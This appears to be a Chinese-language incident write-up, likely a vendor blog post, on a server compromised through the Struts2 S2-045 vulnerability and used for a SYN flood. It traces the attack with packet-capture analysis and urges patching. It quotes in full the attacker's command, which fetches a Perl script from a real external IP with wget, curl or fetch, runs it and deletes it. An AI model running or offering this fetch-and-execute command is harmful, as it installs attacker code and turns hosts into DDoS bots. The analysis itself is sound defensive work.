一个真实的利用Struts2最新漏洞的高级攻击全程解析
新漏洞的刚被发现发布时,对很多企业网络来说可能是最危险的时刻,应对不及时造成的危害可能是巨大的,特别是像Struts2 S2-045这样的会搞死人的漏洞,显然黑客对他们的关注度比很多企业的安管人员要高的多。这不Struts2 S2-045漏洞没公布几天,我们就发现了成功利用该漏洞对目标主机实现有效控制的高级攻击实例。
首先说明,我们不是去分析Struts2 S2-045漏洞的,很偶然,某中国500强企业集团公司的互联网出口防火墙CPU利用率持续保持在80%左右,防火墙高负载工作导致服务器网络缓慢。由于该服务器上承载着大量公司核心业务,造成了严重影响。
幸运的是他们的核心交换机上部署了科来网络回溯分析系统,进行7*24小时全流量监控,并完整记录保存了所有网络通讯数据(其工作模式可以简单理解为部署在大型网络环境中的“行车记录仪”)。技术人员首先想到的是通过该系统分析什么原因导致了防火墙CPU利用率超高,网络缓慢。
分析发现防火墙高负载与*.35服务器超常规大量发送数据包有关,服务器*.35一天多的时间共产生大量未知TCP应用流量47.48G,其中与意大利IP 62.149.175.81通讯流量达到44.21GB,行为极为可疑。
回溯分析*.35与意大利IP会话通讯,*.35服务器每秒钟的流量6Mbps左右,大量的TCP会话,每个会话均显示连接被重置,平均包长71字节,综合这些特征,怀疑*.35发动SYN Flood攻击。
通过数据包分析,确认*.35 向62.149.175.81发送大量SYN,后者快速回复RST的数据包(目标服务器可能已经挂掉),*.35发出的SYN数量极多同时频率极高现象,基本断定*.35发动了SYN Flood攻击。
这时候结论已经出来了,网络慢的元凶是*.35,它发动了SYN Flood攻击,极高频率地发送了大量的SYN包,建立大量TCP连接,占用防火墙资源,直接影响了正常业务通讯。
这时候我们的分析还没完,我们想查查*.35中了什么邪,有回溯我们就可以追溯到*.35大量发包前到底发生了什么。这时候追踪到了新鲜出炉的Struts2 S2-045漏洞的新鲜利用,真够快的。
一个香港IP 223.255.145.158利用Struts2 S2-045漏洞攻击(在Content-type: 中插入非法字符串来远程执行命令并尝试执行该脚本,执行完成后删除),执行的脚本信息为:
wget -qO - http://65.254.63.20/.jb | perl ;cd /tmp ;curl -O http://65.254.63.20/.jb ;fetch http://65.254.63.20/.jb ;perl .jb ;rm -rf .jb*,即问题服务器向65.254.63.20 get请求.jb文件。
进一步分析,我们发现问题服务器*.35确实下载获取到.jb文件。真实脚本为per1,可以看到62.149.175.81(SYN Flood目标IP)及端口8080。综合上文分析,基本上可以判定被黑客(所用IP 223.255.145.158)通过Struts2漏洞攻击入侵后,执行命令向美国IP 65.254.63.20请求下载了.jb文件,并执行了per1脚本SYN Flood攻击62.149.175.81.
结论清楚了,我们发现本次安全事件是黑客通过Struts2的S2-045漏洞,远程向问题服务器执行恶意代码,导致服务器主动下载脚本并成为肉鸡实施SYN Flood攻击,导致互联网访问出现严重性能下降。本人有点小激动,哇哈哈,第一次发现真实的全新的漏洞利用,还是全程回放。
最后,发表一下此次事件处理的小感受。
首先是,漏洞是可怕的,要重视,要重视,要重视,赶紧打补丁,不是闹着玩的,别让黑客比你重视,比你现发现,那就完了。
再有就是,对关键网络系统长期的网络分析,回溯分析太重要了,即使没有公布的漏洞被利用,我们通过对网络异常行为的分析,也能做到全程追溯分析,网络环境越来越复杂,没有可视性的网络是非常危险的。安全态势感知,首先是要可视,通过智能分析发现异常行为,是最基础的感知!能看到的越多就越安全。
编辑: 罗予岐